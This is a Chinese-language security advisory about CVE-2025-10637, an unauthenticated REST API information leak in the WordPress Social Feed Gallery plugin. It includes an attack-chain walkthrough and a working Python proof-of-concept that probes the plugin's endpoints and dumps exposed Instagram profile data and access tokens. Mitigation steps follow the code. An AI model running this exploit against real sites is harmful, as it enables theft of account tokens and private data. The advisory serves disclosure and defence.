IPBUF安全漏洞报告
English
CVE-2025-10637 CVSS 5.3 中危

CVE-2025-10637 WordPress Social Feed Gallery插件未授权信息泄露漏洞

披露日期: 2025-10-25

漏洞信息

漏洞编号
CVE-2025-10637
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Social Feed Gallery WordPress插件(insta-gallery)

相关标签

信息泄露未授权访问WordPress插件Social Feed GalleryInstagram APIREST APICVE-2025-10637中危漏洞社交媒体安全API安全

漏洞概述

Social Feed Gallery是WordPress平台上一款广泛使用的社交媒体集成插件,主要用于在WordPress网站中展示Instagram和Facebook的社交媒体内容。该插件允许网站管理员连接其Instagram和Facebook账户,并在网站上展示动态内容、媒体图片和用户资料信息。然而,该插件在4.9.2及以下版本中存在严重的安全漏洞,由于缺乏适当的授权验证机制,未认证的远程攻击者可以通过构造特定的API请求,无需任何用户凭证即可访问站点管理员连接的Instagram账户的敏感信息。攻击者利用此漏洞可以获取目标网站管理员所关联Instagram账户的个人资料数据、发布的媒体内容、粉丝信息、关注列表等隐私信息。此类信息泄露可能导致严重的后果,包括但不限于:个人隐私泄露、商业机密外泄、社交工程攻击风险增加等。鉴于该漏洞的利用难度低且影响范围广,建议所有使用该插件的网站管理员立即采取修复措施。

技术细节

该漏洞的根本原因在于Social Feed Gallery插件的REST API端点缺少适当的访问控制检查。具体问题位于插件的user-profile.php文件中的前端用户资料接口。该接口直接暴露了Instagram账户的配置信息和媒体数据,而没有验证请求者是否具有相应的权限。攻击者只需要构造一个针对该REST API端点的HTTP GET请求,即可获取以下敏感信息:1)Instagram账户的个人资料信息,包括用户名、头像、粉丝数量、关注数量等;2)通过该插件连接的所有社交媒体账户的访问令牌和配置信息;3)用户发布的媒体内容元数据,包括图片URL、视频内容、发布时间等。漏洞的技术细节表明,攻击者利用了WordPress REST API的公开端点,该端点没有实现任何nonce验证或权限检查机制。攻击者可以使用自动化工具批量扫描使用该插件的WordPress网站,并利用此漏洞收集大量Instagram账户的敏感信息。建议的修复方案是在相关REST API端点中添加权限检查逻辑,确保只有具有相应权限的管理员用户才能访问敏感数据。

攻击链分析

STEP 1
步骤1
攻击者识别使用Social Feed Gallery插件(<= 4.9.2版本)的WordPress网站
STEP 2
步骤2
攻击者构造针对/wp-json/insta-gallery/v1/user-profile端点的HTTP GET请求
STEP 3
步骤3
由于插件未实现权限检查,请求无需认证即可成功
STEP 4
步骤4
服务器返回JSON格式的Instagram账户敏感信息,包括用户资料、访问令牌、媒体数据等
STEP 5
步骤5
攻击者提取并保存泄露的Instagram配置信息和媒体数据
STEP 6
步骤6
攻击者利用获取的Instagram访问令牌或配置信息进行进一步攻击或数据倒卖

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10637 PoC - Unauthenticated Information Disclosure # Target: WordPress sites with Social Feed Gallery plugin <= 4.9.2 import requests import json import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-10637 Tests the exposed REST API endpoint for information disclosure """ # Vulnerable endpoint path endpoints = [ '/wp-json/insta-gallery/v1/user-profile', '/wp-json/insta-gallery/v1/frontend/user-profile', '/?rest_route=/insta-gallery/v1/user-profile', '/?rest_route=/insta-gallery/v1/frontend/user-profile' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': 'application/json', 'Content-Type': 'application/json' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-10637 - Social Feed Gallery Information Disclosure\n") for endpoint in endpoints: url = urljoin(target_url.rstrip('/'), endpoint) print(f"[+] Testing endpoint: {endpoint}") try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: data = response.json() print(f"[✓] Vulnerable! Endpoint returned data:") print(json.dumps(data, indent=2, ensure_ascii=False)) # Check for sensitive information exposure if 'username' in str(data) or 'access_token' in str(data) or 'profile' in str(data).lower(): print("\n[!] CRITICAL: Sensitive Instagram data exposed!") return True elif response.status_code == 401: print(f"[-] Protected endpoint (401 Unauthorized)") else: print(f"[-] No data (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") except json.JSONDecodeError: print(f"[-] Non-JSON response") print("\n[*] No vulnerable endpoints found") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-10637.py <target_url>") print("Example: python cve-2025-10637.py https://example.com") sys.exit(1) target = sys.argv[1] is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[✓] Target is VULNERABLE to CVE-2025-10637") print("[!] Recommended action: Update Social Feed Gallery to version 4.9.3 or later") else: print("\n[-] Target appears NOT vulnerable or plugin not installed") if __name__ == "__main__": main()

影响范围

Social Feed Gallery (insta-gallery) <= 4.9.2

防御指南

临时缓解措施
如果无法立即更新插件,可以采取以下临时缓解措施:1)暂时禁用Social Feed Gallery插件;2)使用防火墙规则阻止对/wp-json/insta-gallery/路径的外部访问,但需注意这可能影响网站功能;3)添加自定义代码在REST API端点前添加权限验证;4)限制对wp-json路径的IP访问来源。同时建议检查是否有异常的Instagram API使用记录或账户异常登录行为,并考虑更换可能已泄露的Instagram账户凭据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表